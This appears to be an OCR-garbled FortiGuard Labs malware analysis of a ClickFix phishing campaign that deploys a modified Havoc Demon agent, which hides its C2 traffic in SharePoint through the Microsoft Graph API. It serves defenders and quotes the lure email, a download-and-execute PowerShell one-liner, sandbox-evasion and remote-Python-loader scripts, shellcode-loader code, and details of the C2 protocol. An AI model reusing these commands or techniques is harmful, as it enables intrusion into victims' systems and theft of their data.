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Affected platforms: Microsoft Windows
Impacted parties: Any organization
Impact: Attackers gain control of the infected systems

Severity level: High

Havoc is a powerful command-and-control (C2) framework. Like other well-known C2 frameworks, such as
Cobalt Strike, Silver, and Winos4.0, Havoc has been used in threat campaigns to gain full control over the target.
Additionally, It is open-source and available on GitHub, making it easier for threat actors to modify it to evade

detection.

FortiGuard Labs recently discovered a phishing campaign that combines ClickFix and multi-stage malware to
deploy a modified Havoc Demon Agent. The threat actor hides each malware stage behind a SharePoint site and
uses a modified version of Havoc Demon in conjunction with the Microsoft Graph API to obscure C2

communications within trusted, well-known services. Figure 1 shows the attack chain.
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Figure 1: Attack flow

Initial Access

The attack campaign starts with a phishing email containing an HTML file as an attachment, as illustrated in
Figure 2. It uses a brief explanation and an urgent tone to prompt the recipient to open the attachment

immediately.
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Subject: Critical Update
A Message @ Documents.html

Dear "

A restricted notice is available for your review. The attached file "Documents” contains all necessary information.
Please address it immediately to avoid operational challenges.
Heartfelt Thanks

Marketing Director

schubel.info

lastfm@schubel.info

The content of this email is confidential and intended for the recipient specified in message only.lt is strictly forbidden to share
any part of this message with any third party, without a written consent of the sender. If you received this message by mistake,
please reply to this message and follow with its deletion, so that we can ensure such a mistake does not occur in the future.

Figure 2: The phishing e-mail

The attachment, “Documents.html,” is a ClickFix attack that embeds a fake error message and instructions in
HTML to deceive users into copying and pasting a malicious PowerShell command into their terminal or

PowerShell, ultimately executing malicious code.

Elfunction JE() {

var Yi = document.getElementById("sh");
Y¥i.select();
document .execCommand ("copy™) ;

window.getSelection () .removeAllRanges() ;

}

??5['..-"._ n-btn').on{'click"', function() {

$('.base-text') .hide();
©') .show() ;

5( i k') .hide () ;
Fh
Error 0x8004de86
Bsc tails-btn').on('click', funotion()(
Failed to connect to the “Gne Drive” doud service, to fix the emor, you need to
update the DNS cache manually ST SheR Y, k')
(R
§ (document) . ready (function()
[Tj {

var ide =
' eGY3ZXJzaGVEECATaYBOIC] Y ICTpd 3192 hUdHBE01 Bvac v zcRLaRCOYXIlcEorbaguY29el

Error 0x8004de86 195 YX1vAXRL2E1 L2RVA2 S sh2FXLnFzcHy/ c2hhemI9RVDS 62 1 adULvIXBEaXhaM ZCUOFRWDR
. CV1ZiRjVWa 03 iN3FFamp=RENBSD] PUSHRaNVATIg==";
Use B8+ X keyboard shortcut, and then use “Windows Powershell/Terminal”, click var VO = atob(ide) ;

“Ctrl + V" & "Enter” in the appeared window,
$("#sh”}.val (Vo) ;

Figure 3: Document.html using ClickFix social engineering tactic

Decoding the base64-encoded string shown in Figure 3 reveals a PowerShell command that downloads and

executes a remote PowerShell script.

powershell -w h -c¢ "iwr ‘hxxps://hao771[.]sharepoint.com/_layouts/15/download.aspx?share=EU7smZuKo-

pDixZ26BSAaX0BVVcF5VkOc7qEvjsDSAH90Q |iex"

payload_20250112_074319.ps1
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The Script file is hosted in SharePoint and controlled by the threat actor. When the script runs, it checks whether
the execution environment is a sandbox by verifying the number of domain computers. It then deletes all registry
entries under HKCU:\Software\Microsoft with names starting with "zr_" and adds the specified property as an

infection marker, as shown in Figure 4.

$isSandbox = Sfalse

SdomainPCs = (cmd.exe /c net group "domair mputers" /domain | find /c /v "").Trim()
if ([int]S$domainPCs -1t 10) { $1sSandbox = Strue }

if (Sissandbox) { exit }

HGet=-Item =-Path 'HKCU:\Software\Mic: ft' |
Get-ItemProperty |
Select-Object * -ExcludeProperty PSPath,PSParentPath,PSChildName,PSDrive,PSProvider |
ForEach-Object {
$_.PsObject.Properties |

Where-Object { $_.Name -like 'zr *' } |
= ForEach-Object {
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft' -Name §_.Name -Force
}
- }
SregistryPath = 'HKCU:\Software\Mici ft!
$registryName = ' ET4HVYX91aVImgZE [AhEBNSSerBeR1M2 b558T5SA haoT71"
Set-ItemProperty Path SreglstryPath Name SreglstryName -Value '' -Force

Figure 4: PowerShell script for sandbox evasion and infection tagging

Next, the script verifies the existence of pythonw.exe. If it’s not found, it downloads the Python interpreter.
Otherwise, it directly runs the Python script. Finally, the remote Python script is retrieved and executed in hidden

windows to obscure malicious activity, as shown in Figure 5.
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SextractTo = 1\ Pr amData)
SpythonExe = Join- Path SextractTo

SpythonInstalled = ((Test-Path SpythonExe) -and (Get-Process =-Name "pythonw" =-ErrorAction SilentlyContinue))

Bif (-not SpythonInstalled) {

= try {
Spythonurl
$pythonZip

[

$xhr = New-Object -ComObject MSXMLZ.XMLHTTP
$xhr.open("GET", $pythonUrl, $false)
Sxhr.send ()

B catch {
Write-Error $_.Exception.Message
- exit 1
}
}
Btry {

$psi = New-Object System.Diagnostics.ProcessStartInfo
Spsi.FileName = SpythonExe

Spsi. Arquments =1 M ”import urllLb
'https://hao?71.sharepoint.com 1d.aspx?shar

context=ssl. create unverlfled context()'exec(urlllb.request urlopen(url context-context) read() decode(“
T

Spsi.UsesShellExecute = $false

Spsi.CreateNoWindow = Strue

Spsi.WindowStyle = 'Hidden'

re uest ssl;url=

Sprocess = [System.Diagnostics.Process)::Start(Spsi)
- Snull = $process.Handle
}
BHcatch {
Write-Error §_.Exception.Message
H exit 1

Figure 5: PowerShell script for downloading and executing the remote Python script

Python Shellcode Loader - payload_20250107_015913.py

Like the PowerShell script, the Python script is hosted on the same SharePoint. It contains debug information

written in Russian and serves as a shellcode loader.

We executed the script directly with the Python interpreter in the terminal. The log displays “Brigenenue namsitu”
(memory allocation), "3amnuch B mamsTh” (write to memory), "BoimonHenue shellcode” (execution of shellcode),
and " 3aBepiiieHHe BLITIONIHEHUsS CKpUMTa” (script execution completion) in sequence, indicating successful

shellcode execution, as seen in Figure 6.
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import ctypes

from ctypes import wintypes
import platform

import logging

import time

import sys

sys.dont_write bytecode = True
# HacTpolika JMOTTHMPOBAaHMA
logging.basicConfig(level=logging.DEBUG, format='% (asctime % (levelname) s q essage n

logger = logging.getlogger(_ name )

Hdef allocate -y (payload len):
Jdef write ry(base address, payload, payload len):

def execute_shellcode (base_address):
logger.info ("Bunondeuue shellcode™)
shell func_type = ctypes.CFUNCTYPE (None)
shell func = shell func_type (ctypes.cast (base_address, ctypes.c_void p) .value)
shell_func()

Jdef main () :

# Specs

payload =

Figure 6: Python script for shellcode execution

KaynLdr

KaynLdr is a Github Shellcode Loader designed to reflectively load an embedded DLL. It complicates analysis by
using API hashing with a modified DJB2 algorithm and leverages resolved ntdll APIs for memory allocation and

mapping. The instruction “call rax” executes the embedded DLL's entry point, as shown in Figure 7.
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movzx eax,word ptr as:[riafa
mov rcx,qword ptr ss:firsp+4
cmp eax,esi

jbe

00000266E15C023E 00000266E15C0197

mov eax,dword ptr ds:[ri13+28] imul rax,rsi,2s

lea rs,qword ptr ss:frsp+ssj dword ptr ss:@rsp+3cl,0
mov edx,l add rax,r

sub rax,ri2 riod,dword ptr ds:[rax+10]

add rax,rcx edx,dword ptr ds:[rax+C]
P eax,dword ptr ds:[rax+23]
jmp 266E15C027B rdx,ri2
qword ptr ss:frsp+sol,rio
mov rod,eax
rex, rdx
rsd,eax
rdx,rio
rod, 1F
qword ptr ss:[frsp+4sf,rex
red,3

r8d, 40
266E15C0267

00000266E15C027B 00000266E15C0267
add rsp,88 mov rod,eax
rbx ; rbx:NtProtectvirtualMemory sar rod,1iF
rsi and rod,2
add rod,2

jmp 266E15COIDE

3 riz:"pe"

Figure 7: Executing the dll with KaynLDR shellcode loader

Havoc Demon DLL

Havoc is an open-source post-exploitation command and control framework used in red teaming exercises and

attack campaigns to gain complete control over compromised targets.

In this attack campaign, we observed that the threat actor uses Havoc in conjunction with the Microsoft Graph API

to conceal C2 communication within well-known services.

The modified Havoc Demon DLL still starts with DemonlInit and uses the same hash algorithm as KaynLdr to

retrieve the necessary APIs and initialize the configuration objects.
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<DemonMain>
cpushpdio
mov r8,rcx
Xor e€ax,eax
mov ecx,2B3
sub rsp,AFO
lea rdi,qword ptr ss:[Brsp+24§
rep stosd
lea rax,qword ptr ss:[Brsp+243
mov rcx,rs
mov qvmrd ptr ds:[<Instance>],rax ; 00000266E18583CS: "deERE"
<DemonInit>
n <SharePointC2Init>
test eax,eax
mov rax,qword ptr ds:[<Instance>] ; 00000266E18583C8: "d&BF"
jne 266E18476AE

00000266EL18476AE 00000266E1847690

mov edx,l Xor ecx,ecx

mov _rcx,rax call qword ptr ds:[rax+Fe6]
<DemonMetaData> add rsp,AFD
<DemonRoutine> rdi

push ri2 ; DemonMetaData ﬁ

xor eax eax

@yDunpl  giyDump2 gl Dump 3 W Dump5 @ Wakhl  [x=lLocals 5 Struet

£ = 00 00 00 00|00 00 00 00 00(00 00 00 .

{

00
$+10 20 00 84 £1.6¢ 02 00 00|00 DO 01 00|00 00 84
$+20 66 02 00 00|00 72 O1 OO|EA B9 06 1D|00 00 00
$+30 60 1A 00 00(CC 18 00 00|00 00 00 00|09 0D 09
$+40 0OA 00 00 00(02 00 00 00|05 00 0O 00|00 00 00
$+50 00 00 00 00(00 00 0O 00|01 00 00 00|00 00 00
$+60 01 00 00 00|01 0D 00 00(01 01 00 00|00 00 C2
$+70 AE 6B F8 7F(00 00 00 00(00 00 00 00|00 00 0O
$+80 00 00 02 00|00 00 02 00|00 00 00 E1|60 E1l 66
$+90 00 00 20 DF|60 E1 66 02(00 00 02 00|00 00 00
$+A0 00 00 00 00|00 00 0O 00|00 00 00 00|00 00 0O
$+80 00 00 00 00|00 00 |BON2E[AENEBIFSNTE| 00100 10
$+C0 B4 6B F8 7F (00 00 AD F2|AC 6B F8 7F|00 00 20
$+D0 AC 6B F8 7F(00 00 40 7E(AD 6B F8 7F |00 00 DO
$+EO B3 68 F8 7F |00 00 90 E8|BO 6B F8 7F|00 00 10

$+FO AE 6B F8 7F |00 00 AD A3|Bl 6B F8 7F |00 00 30

Figure 8: DemonMain in the modified Havoc Demon DLL and the retrieved APIs are stored in the structure
beginning at address 0xb6

The second function, “SharePointC2Init,” initializes files on the actors' SharePoint site using the Microsoft Graph
API.

It first combines the hardcoded shared secret with the necessary parameters for a POST request. It then sends the

request to the /token endpoint of the Microsoft Identity Platform to obtain access tokens for Microsoft Graph

APIs.
- 48:8DUD F7E6D000 1€a rox,gwora ptr as: Lzu::l.mssznj OUO0UZOYL45 9232 TNTTPSE // 10gIN. MICrosoTTONIINE, COm™
° C60403 DO mov byte ptr ds:[rbx+rax],
. 48: 8D05 AEEG0000 Jea rax,gqword ptr ds: [2 !.MSIF‘] 00000209194591F4: L"POST"
. 481894424 40 mov gword ptr ss:ifirsp [rsp+40]:L"POST"
. 48: 8D05 ACEG0000 Jea rax,gword ptr ds [20919#!!1!8] 00000203194591FE: L"1ogin.microsoftoniine. com”
. 48:894424 48 mov_qword ptr ssi ﬁ:pﬂal,rax [rsp+48]:L"Togin.microsoftonline. com™
. ES 747D0000 <Stril
.
. 4C: 896424 68 mov gword ptr ssi ri2 [rspt+e8]: "client_id=139C01d5-5F11-4d18-92T0-b986029dd21485Ccope=httE
° 49:8D0446 lea rax,gword ptr ds [r14oru“2]
. 45:894424 50 mov gword ptr ss: lrspfsoI rax [rsp+50]:L"/2639€936-d145-459T-a855-c1840a4b1666,/0auth2/v2.0/token"
. 48:B88 BB0O10000010000¢ mov rax,l00000188
L] 48:8924424 60 mov qword ptr ss: 'r5p+sal rax
. 48:8D4424 28 lea rax,gword ptr ss:lirs) RBI [rsp+28]:L"Content-Type: application/x-www-Tform-urlencoded”
. 48:894424 58 moy _qword ptr ss:firsp+sel,rax [rsp+58]:&L"Content-Type: application/x-www-form-urlencoded”
. ES 457D0000 g€all <stringLengtha>
. 48:8D04C24 38 Jea rcx qword ptr ss:frsp+3si
. 45:89EA mov rdx,rbp
. 894424 70 mov_dword ptr ss: !rspﬁol,eu
Fg—>e ES 54200000 £all <sendAndr. acket>
< >

rcx=00000093FEDFDEOS

Figure 9: Access token request with a hardcoded shared secret

Next, it utilizes the obtained token to create two files in SharePoint's default document library by making a PUT

request, as shown in Figure 10.
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PUT /v1.8/sites/hao771.sharepoint.com,9ca2la8e-2641-4d60-a784- &
a/cbbfb9b021,201d5860-1d5f-4f@3-abc5-add73aaf25¢8/drive/root:/

VictimID pD9-tKout: /content HTTP/1.1

Connection: Keep-Alive

Content-Type: application/octet-stream

Authorization: Bearer

AT 7eken HRITIIIm

User-Agent: Mozilla/5.@
Content-Length: ©
Host: graph.microsoft.com

_

Figure 10: Creating a file in the root folder

The Havoc AgentID generates the VictimID as a filename, concatenated with the suffix “pD9-tKout/pD9-tKin” to

indicate their purpose.

Filename Details
{VictimID}pD9-tKout Used to transmit the victim's
information.
{VictimID}pD9-tKin Used to receive C2 commands.

Table 1: Two files utilized for Sharepoint C2 to control the target.

The initial packet sent to C2 is a ChecklIn request containing data gathered from the DemonMetaData function. In
this step, the victim's information—such as Host Name, User Name, Domain Name, IP Address, Process Details,
OS Information, whether the user has an elevated account, and the configuration in the Demon DLL—is sent to

the C2 server.

All content is encrypted using the AES-256 algorithm in CTR mode with a randomly generated 256-bit key and a
128-bit I'V. Finally, it is combined with the header, as illustrated in Figure 11, before being sent to the C2 server

via the TransportSend function.

5 = 00 00 OF CO|DE 2D BC CF MMM 00 00 00 €3] -...P.%1,A<0...C [ SIZE 1 4 bytes
$+10 00 00 00 OO0 ST IanT i U AESIKEY. 0 mmnanmannns --.-]E11I0+bmA. X [ Magic Value 1] 4 bytes
g:‘;g ‘ Y : Iag;\?xe‘b"sg@"“_ [ Agent ID 1 4 bytes
$+40 : | AES.IV RFQ. . *.Qu0, A .. [ ;om"mlt) ig ! Z EYE”
$+50 oo i 2 > IpD 83 64 26| T0-@148R. p. . iY.dR [ Reques ] Yo
£+60 01 AG 36 FO|7C 05 81 AS|1F BA 31 24|73 7B BS AC|.!6d8|.. ..1$s{p~ [ AES KEY 1 32 bytes
$+70 FC 37 D5 D7 |54 B9 23 AB|OE 11 8C DC|08 C3 84 FC|U70xZ'#«...U.A. 0 [ AES IV ] 16 bytes
$+80 67 C6 4A CO|D8 9A F7 A2(|83 91 99 DC|AC 74 90 24|gfIA8.+¢...U-T.§ AES Encrypted {
$+90 AE A2 60 3F(24 F5 71 5C|EO 68 27 C7|B8 46 FA 96|®¢ 780q\ah'G_Fu, [ Agent ID ] 4 bytes
$+A0 11 18 19 90|74 99 4C 21|BA F9 B2 24|4E E4 69 EE|....t.L!°U"$NATT i Host Name 1S58+ bytes
$+B0 A2 OD 7A ES|11 C9 B6 4E|5C 4E 1A AD |30 B6 9B BE|¢.za.EYN\N..0Y.% . 4
$4C0 D9 33 7F 7A|BF D5 8E 5A|06 41 O1 AD|23 88 86 DA|U3.2;0.Z.A..#..0 [ User Name ] size + bytes
$+D0 OE 17 7D 39|E9 DO CO 68|C7 7F 7A 74|3F F8 G6F A2|..}9€DAhC.zt?e0¢ [ Domain 1 size + bytes
$+E0 D2 CF ED OA|F7 DD 94 B1l|7F DO 63 44|77 BA 58 1A|0I1.<Y.x.DCDWeX. [ IP Address ] 16 bytes?
$+F0 4C 96 80 A4|3D 7C 25 AF|75 4D 7B 9A|12 E2 B5 84 L_..-“:I’-__ﬁ uM{. ., ay. [ Process Name ] size + bytes
$+100 BF 7D 26 4F|AE 32 E3 70|A0 00 8F AD|GD A2 00 00| ;}80°2&p ...me.. [ Process ID ] 4 bytes
[ Parent PID ] 4 bytes
[ Process Arch ] 4 bytes
[ Elevated 1 4 bytes
[ Base Address ] 8 bytes
[ 05 Info ] {5 * 4 ) bytes
[ 0S Arch 1 4 bytes

..... more
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Figure 11: The contents of CheckIn request and Metadata Structure in Havoc Github

The TransportSend function has been modified to communicate with the C2 by accessing two files:
{VictimID}pD9-tKout and {VictimID }pD9-tKin.

It updates the request to the “{VictimID}pD9-tKout” file and then retrieves the response from the C2 by using
Microsoft Graph API with the GET method to access the contents of the ‘{VictimID }pD9-tKin’ file. If the

response is successfully retrieved, the content of file '{ VictimID }pD9-tKin' is immediately erased.

mov r8d, 888h
sub r8, rsi
J 5 .
EE@ lea rex, [rdi+rax*2] FetchinFile
mov rdx, rl4
call CharStringTolCharStrin|
loc_271D870267F: rs il i .
mov rax, [rdi] mov rex, rl3
mov r8d, [rbx+8] lea r8, aV1@DrivesSItem ; “/v1.8/drives/%S/items/%5/content™
mov rdx, [rbx] i:: :gx'[r[-;i:;zgi?]
lea rcx, [rax+@A38h] ; Out mov [r;p+38h+var_18], rdx
call updateFileContent mov edx, 104h
test eax, eax . call quord ptr [rax+5E6h]
. 1 Get - intf
jz short loc_271D870267F £ EEEe N PR
= mov rdx, rbp
e J lea rcx, [rsp+38h+arg_3C]
| |mov [rsp+38h+arg_44], rax
I3 3 . B micnacaf —
E=] lea rax, aGraphMicrosoft ; “graph.microsoft.com
HEB - - mov [rsp+38h+arg 4C], rax
test rsi, rsi mov rax, 100080188h
iz short loc_271D87026B5 mov [rsp+38h+arg_64], rax
i | |lea rax, [rsp
—"—' | |mov [rsp+38h+arg_54], rl3
mov [rsp+38h+arg_5C], rax
Eﬁl call SendAndReceivePacket ; Download the contents of the file (In)
test eax, eax
loc_271D870269E: 15 ___ SLOK: 261006k ]
mov rcx, rsi {I
call FetchInFile =
test eax, eax ‘ cmp dword ptr [rbp+8], @
jz short loc_271D870269E iz 1°°—2371$5“3“1
=== a
rex, [rbx]
loc_271086FB4F1: r8d, r8d
xor eax, eax rdx, unk_271D87@9436
jmp loc_271D86FB5F8 rcx, 988h ; Inm
updateFileContent ; Erase file contents (In)
{ eax, 1
. J

Figure 12: The modified TransportSend function and the function “FetchInFile”

Next, the content in the response is compared with the AgentID. If they match, the session.connected flag is set,

and it enters the dispatcher routine to await new tasks from the attacker.

In the dispatcher routine, the agent sends a 'Get Job' request and parses the response into Command ID, Request
ID, and task. Although we only observed DEMON_COMMAND_NO_JOB (Command ID: 0xA) during our
analysis, as shown in below, we found that the task would be decrypted and executed if a different command ID

exists and is not OxA in the program.
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Protocol Length  Info

Tcep 1500 52478 + 443 [PSH, ACK] Seq=7291 Ack=6893 Win=8228 Len=1446 [TCP segment of a reassembled PDU]

HTTP 1038 GET /_layouts/15/download.aspx?Uniqueld=299alalf-abaf-4d62-b9b5-656956b9476c&Translate=falsedtempaut
TCP 1500 443 » 52478 [PSH, ACK] Seq=6893 Ack=9721 Win=64351 Len=1446 [TCP segment of a reassembled PDU]

HTTP 917 HTTP/1.1 200 OK

< >
docID: hao771.sharepoint.com_9ca2la8e-2641-4d60-a784-a7cbbfb9b@21_299alalf-abaf-4d62-b9b5-656956b9476c\r\n
X-Download-Options: noopen\r\n
Content-Disposition: attachment;filename*=utf-8° '-pD‘B%ZE}tKin 8 -Filename=‘_p[)9 -tKin"\r\n
CTag: {299A1A1F-ABAF-4D62-B9B5-656956B9476C},4,4\r\n

<

20 42 3a 20 59 54 4f 32 32 31 30 39 30 38 31 f B: YTO 22109081
30 33 37 20 52 65 66 20 43 3a 20 32 30 32 35 2037 Ref C: 2025
30 31 2d 31 37 54 31 32 3a 31 31 3a 34 31 5a  -01-17T1 2:11:41Z
@a 44 61 74 65 3a 20 46 72 69 2c 20 31 37 20  --Date: Fri, 17
61 6e 20 32 30 32 35 20 31 32 3a 31 31 3a 34 Jan 2025 12:11:4
20 47 4d 54 od @a @d ©a P2l 00 00 00 00 00 @@ 1 GMT--- -[]------
ee @@ @@ @ e

Figure 13: Accessing the contents of the ‘{VictimID}pD9-tKin’ file

The supported commands are the same as those in Havoc Github, as shown in Figure 14. They include gathering
information about the target, file operations, command and payload execution, token manipulation, and Kerberos
Attacks.

cmp edi, 84h ; DEMOM_COMMAND NO_JOB DemonCommand

Jz short loc_271D86F28BA

dq 11 3
dq offset COMMAND_SLEEP
dq 100

L dq offset COMMAND_CHECKIN
dq 21

dgq offset COMMAND_JOB
dq 1016h

dq offset COMMAND_PROC
dq 12

dq offset COMMAND_PROC_LIST

dq 15

dq offset COMMAND_FS

dq 20

dq offset COMMAND_INLINE_EXECUTE

dq 2881h

dq offset COMMAND_ASSEMBLY_INLINE_EXECUTE
dq 2083h

dq offset COMMAND_ASSEMBLY_VERSIONS
dq 256@

dq offset COMMAND_CONFIG

dq 251@

dq offset COMMAND_SCREENSHOT

dq 2520

dq offset COMMAND_PIVOT

dq 2108

dq offset COMMAND NET

dq 22

dq offset COMMAND INJECT_DLL

dq 24

dq offset COMMAND_INJECT_SHELLCODE

dq 26

dq offset COMMAND_SPAWN_DLL

dq 48

dq offset COMMAND_TOKEN

dq 2530

dq offset COMMAND_TRANSFER

dq 2548

dq offset COMMAND SOCKET

dq 2558

dq offset COMMAND_KERBEROS

dg 2560

dq offset COMMAND_MEM_FILE

dq 92

dq offset COMMAND_EXIT

DATA XREF:

CommandDispatcher:loc_271

r8d, [rsp+O(Bh+TaskBufferSize]
r8d, r8d
short loc_271D86F289C

I‘%

rex, rbp

Parserfiew
rax, [rsi)
rcx, rbp

rdx, [rax+08A6h])
r8, [rax+@AEh)
ParserDecrypt

; uFlags

3 AES.Key
; AES.IV

loc_271D86F289C:
lea rax, DemonCommand

= ¥ v

loc_271D86F28A3:
moy rdx, [rax+8]
test rdx, rdx
Jz short loc_271D086F28BA

‘_JI—

; Function

e
add
cmp
jnz

rax, 1eh

edi, [rax-18n] ; ID

short loc_271D86F28A3 ; Functio
|

Figure 14: The primary function for executing the Demon command

Conclusion

In addition to staying alert for phishing emails, guided messages that encourage opening a terminal or PowerShell

must be handled with extra caution to prevent inadvertently downloading and executing malicious commands.
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In this article, we uncovered the execution flow and the altered open-source post-exploitation framework used in
this attack. Public services once again play a crucial role in the attack campaign, now further integrated with
modified Havoc Demon to hide malicious communication within the Microsoft Graph API, making identification

and detection even more challenging.

Fortinet Protections

The malware described in this report are detected and blocked by FortiGuard Antivirus as:

HTML/Agent. A5D4!tr
PowerShell/MalwThreat!ebc5FT
Python/Agent. DF60!tr
W64/Havoc.L!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard Antivirus Service. The FortiGuard
antivirus engine is part of each of those solutions. As a result, customers who have these products with up-to-date

protections are protected.

The FortiGuard CDR (content disarm and reconstruction) service can disarm the malicious macros within the

document.

FortiGuard Labs provides the Backdoor.Havoc.Agent IPS signature to block Havoc C2 network communications.

We also suggest that organizations take the free Fortinet Fortinet Certified Fundamentals (FCF) cybersecurity
training. The training is designed to help users learn about today's threat landscape and introduces basic

cybersecurity concepts and technology.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block malware attacks by aggregating

malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative
competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile

sources.

If you believe this or any other cybersecurity threat has impacted your organization, please contact the Global

FortiGuard Incident Response Team.

I0Cs

C2

hao771[.]sharepoint.com

Files

51796effe230d9ecaB8ec33eb17de9c27e9e96ab52e788e3a9965528be2902330
989f58c86343704f143c0d9e16893fad98843b932740b113e8b2{8376859d2dd
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https://www.fortiguard.com/encyclopedia/ips/52655
https://www.fortinet.com/nse-training?utm_source=blog&utm_medium=blog&utm_campaign=fortinet-fcf
https://www.fortinet.com/support/support-services/fortiguard-security-subscriptions/ipreputation-antibot?utm_source=blog&utm_medium=blog&utm_campaign=fortiguard-ip-rep
https://www.fortinet.com/support/support-services/fortiguard-security-subscriptions/ipreputation-antibot?utm_source=blog&utm_medium=blog&utm_campaign=fortiguard-ip-rep
https://www.fortinet.com/corporate/about-us/contact-us/experienced-a-breach?utm_source=blog&utm_medium=blog&utm_campaign=

https://www.fortinet.com /blog/threat-research/havoc-sharepoint-with-microsoft-graph-api-turns-into-fud-c2

A5210aaa9eb51e866d9c2ef17f55c0526732eacb1a412b910394b6b51246b7da
cc151456¢f7df7ff43113e5f82c4ce89434ab40e68cd6fb362e4ae4f70ce65b3

Source: https://www.fortinet.com/blog/threat-research/havoc-sharepoint-with-microsoft-graph-api-turns-into-fud-c2
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